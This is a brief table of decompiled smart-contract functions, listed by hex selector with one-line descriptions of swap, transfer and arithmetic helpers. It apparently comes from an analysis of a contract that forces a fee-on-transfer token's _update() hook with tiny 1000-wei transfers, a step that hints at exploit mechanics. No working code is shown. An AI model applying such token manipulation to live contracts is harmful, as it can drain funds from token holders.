0x3a2e / 0x9d9_getBalance(token, account)Calls token.balanceOf(account), reverts on failure
0xa9c_preSwap(router, tokenIn, tokenOut, amount, recipient)If amount > 0 and tokenIn != tokenOut, swaps via router with fee-on-transfer support. Sets up 2-element path [tokenIn, tokenOut], approves if needed
0xb60_triggerTransfer(token, target)Transfers exactly 1000 wei of token to target — used to trigger fee token’s _update()
0xb8b_safeTransfer(token, to, amount)Standard token.transfer(to, amount) with require on return value
_SafeMulsafeMul(a, b)Checked multiplication (Solidity 0.8.24 built-in overflow check)
_SafeAddsafeAdd(a, b)Checked addition (Solidity 0.8.24 built-in overflow check)